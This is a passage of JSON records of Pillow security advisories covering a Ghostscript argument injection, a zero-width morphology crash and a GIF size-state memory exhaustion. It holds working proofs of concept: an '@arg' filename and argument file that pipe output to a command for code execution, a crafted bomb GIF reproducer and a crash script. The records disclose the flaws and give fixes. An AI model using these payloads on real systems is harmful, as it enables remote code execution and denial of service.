`Image.frombuffer()` calls of the shape above.\nThe PCX decoder, which is the only Pillow-internal user of the P;2L and P;4L unpackers, already re-packs PCX rows into a format where overreads aren't an issue.\n\nThe impact is that up to 1 byte (`P;2L`) or 3 bytes (`P;4L`) of heap memory following the caller's buffer are read and mixed into the pixel values of the last decoded row(s), one bit per affected plane per pixel. A crash is also possible if the read reaches unmapped memory.\n\nAs far as I can tell, all published Pillow versions are affected.\n\n### Notes\n\nThese findings were momentarily public (though in no detail) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; Andrew asked to retract the comment and post this instead.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T20:00:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-4558-3h8r-v8xp","https://nvd.nist.gov/vuln/detail/CVE-2026-112394","https://github.com/python-pillow/Pillow/pull/9723","https://github.com/python-pillow/Pillow/commit/392ee6f0d19a4adb766a63e9a99f3c28193b8d31","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-4558-3h8r-v8xp"],"source_kind":"github","identifiers":["GHSA-4558-3h8r-v8xp","CVE-2026-112394"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.287Z","epss_percentage":0.006,"epss_percentile":0.50101,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NTU4LTNoOHItdjh4cM4AB-_E","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NTU4LTNoOHItdjh4cM4AB-_E","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NTU4LTNoOHItdjh4cM4AB-_E/related_packages","related_advisories":[{"uuid":"CVE-2026-112394","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112394.json"},{"uuid":"UBUNTU-CVE-2026-112394","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112394","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112394"}]},{"uuid":"GSA_kwCzR0hTQS13ODg5LTY4NXctYzhmaM4AB-_D","url":"https://github.com/advisories/GHSA-w889-685w-c8fh","title":"Pillow: Argument Injection in Ghostscript call, potentially leading into RCE","description":"### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f \u003cinfile\u003e`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n    infile = fp.name                      # user-controlled path used as-is, without validation\nelse:\n    in_fd, infile_temp = tempfile.mkstemp()\n    os.close(in_fd)\n    infile = infile_temp\n    # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n    gs_binary,\n    \"-q\",\n    f\"-g{width:d}x{height:d}\",\n    f\"-r{res_x:f}x{res_y:f}\",\n    \"-dBATCH\",\n    \"-dNOPAUSE\",\n    \"-dSAFER\",                            # default sandbox — does NOT stop this injection\n    f\"-sDEVICE={device}\",\n    f\"-sOutputFile={outfile}\",\n    \"-c\",\n    f\"{-bbox[0]} {-bbox[1]} translate\",\n    \"-f\",\n    infile,                               # injected here: inserted into argv with no check for\n                                          # option prefixes (-, --) or Ghostscript's @-file token\n                                          # =\u003e argument injection (CWE-88)\n    \"-c\",\n    \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f \u003cinfile\u003e position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n    if hasattr(fp, \"name\") and os.path.exists(fp.name):\n        infile = os.path.abspath(fp.name)   # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv \u0026\u0026 /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"*********************************************\")\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection  ; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't call `id`\")\n```\narg\n```\n-sOutputFile=%pipe%/bin/id\n-c\n1\ndict\ndup\n/OutputFile\n(%pipe%/bin/id)\nput\nsetpagedevice\n```\n\n### Impact\n**Confirmed — Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.\n\n**Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@\u003cpath\u003e` causes Ghostscript to read additional command-line arguments from `\u003cpath\u003e`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of `id`).\n\nApplies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)\n\n### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk)\nThis is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this.\nBecause Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.\n\n### Author\nChanu Kang (from CysecLab at KAIST) @HLe4s","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-21T19:58:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh","https://nvd.nist.gov/vuln/detail/CVE-2026-112900","https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-w889-685w-c8fh"],"source_kind":"github","identifiers":["GHSA-w889-685w-c8fh","CVE-2026-112900"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T20:00:08.618Z","updated_at":"2026-11-03T13:00:31.202Z","epss_percentage":0.01303,"epss_percentile":0.7051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ODg5LTY4NXctYzhmaM4AB-_D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ODg5LTY4NXctYzhmaM4AB-_D","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 2.6.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ODg5LTY4NXctYzhmaM4AB-_D/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-112900","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112900"},{"uuid":"UBUNTU-CVE-2026-112900","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"CVE-2026-112900","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112900.json"}]},{"uuid":"GSA_kwCzR0hTQS01OHI0LTZydjMtZ2ZoOM4AB-f3","url":"https://github.com/advisories/GHSA-58r4-6rv3-gfh8","title":"Pillow: Out-of-bounds access in _imagingmorph on a zero-width image","description":"### Summary\nA PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.\n\n### Details\nThe PPM parser reads width and height with no lower-bound check:\n\n- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:\n\n- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`\n\n`match()` and `get_on_pixels()` use the same edge-indexing pattern.\n\n### PoC\n```python\nfrom PIL import Image, ImageMorph\n\n# A width-0 image (also producible from a crafted PPM header). apply() indexes\n# outrow[width - 1] == outrow[-1] in native code.\nim = Image.new(\"L\", (0, 5))\nImageMorph.MorphOp(op_name=\"dilation4\").apply(im)\n```\n\nRun it:\n```\n$ python 03_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)\n    #0 apply   src/_imagingmorph.c:81\nSUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply\n```\nWith width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.\n\n### Impact\nOut-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-20T20:56:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8","https://nvd.nist.gov/vuln/detail/CVE-2026-112397","https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-58r4-6rv3-gfh8"],"source_kind":"github","identifiers":["GHSA-58r4-6rv3-gfh8","CVE-2026-112397"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-20T21:00:07.782Z","updated_at":"2026-12-03T11:01:22.595Z","epss_percentage":0.00532,"epss_percentile":0.46377,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OHI0LTZydjMtZ2ZoOM4AB-f3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01OHI0LTZydjMtZ2ZoOM4AB-f3","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OHI0LTZydjMtZ2ZoOM4AB-f3/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112397","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112397","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112397"},{"uuid":"CVE-2026-112397","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112397.json"}]},{"uuid":"GSA_kwCzR0hTQS02NXFtLWp2bWgtNnBxZ84AB-f2","url":"https://github.com/advisories/GHSA-65qm-jvmh-6pqg","title":"Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS","description":"```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.\n\nIn the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated\n    Image._decompression_bomb_check(self._size)                 # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00               another 1x1 frame\n3b                                              trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n  file pointer just past the 9-byte descriptor, so the retry parses whatever\n  follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`\n  then runs `GifImageFile.load_prepare()`:\n  ```python\n  # src/PIL/GifImagePlugin.py:452-456\n  elif self.mode in (\"RGB\", \"RGBA\"):\n      self._prev_im = self.im\n      if self._frame_palette:\n          self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n  ```\n  which allocates and `memset`s a 40000×40000 \"P\" image (1.6 GB) to decode a\n  1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n  one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n  common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n  from `im.size` as well (measured on an object poisoned to 20000×20000:\n  `rotate(45, expand=True)` completes and touches 776 MiB;\n  `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n  `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n  fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070×131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96× the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1×1).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` — a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` — and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n   `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n   the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n   by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so\n   `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n   descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error\n   threshold). A real 1×1 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n   an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n   to the real pixel buffer `im.im.size`. If the rejected frame had left the\n   object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n   `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n   parses the trailing 1×1 frame, and calls `im.load()`. It prints the\n   process's peak RSS before and after. `load_prepare()` sizes its\n   `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n   1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -\u003e 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more than 1000 MiB\nwhile loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n             with pytest.raises(Image.DecompressionBombError):\n                 im.seek(1)\n \n+            # The rejected frame should not have changed the image size\n+            assert im.size == (100, 100)\n+\n     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -\u003e None:\n         # Set limit to trigger exception on the test file\n         monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,474 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame's enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n    return b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n    return (\n        b\"GIF89a\" + struct.pack(\"\u003cHHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n        + frame_1x1()                                         # frame 0: 1x1, passes open()\n        + b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000\n        + frame_1x1()                                         # a real 1x1 frame follows\n        + b\";\"\n    )\n\n\ndef peak_rss_mib():\n    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n    # Cap the address space so the oversized allocations end in MemoryError\n    # instead of the OOM killer.\n    resource.setrlimit(resource.RLIMIT_AS, (3 \u003c\u003c 30, 3 \u003c\u003c 30))\n    data = bomb_gif()\n    im = Image.open(io.BytesIO(data))\n    print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n    return im\n\n\ndef poc(im):\n    # An application skips the bomb frame and keeps going.\n    try:\n        im.seek(1)\n    except Image.DecompressionBombError as e:\n        print(f\"seek(1) raised as intended: {e}\")\n        return True\n    return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] \u003e 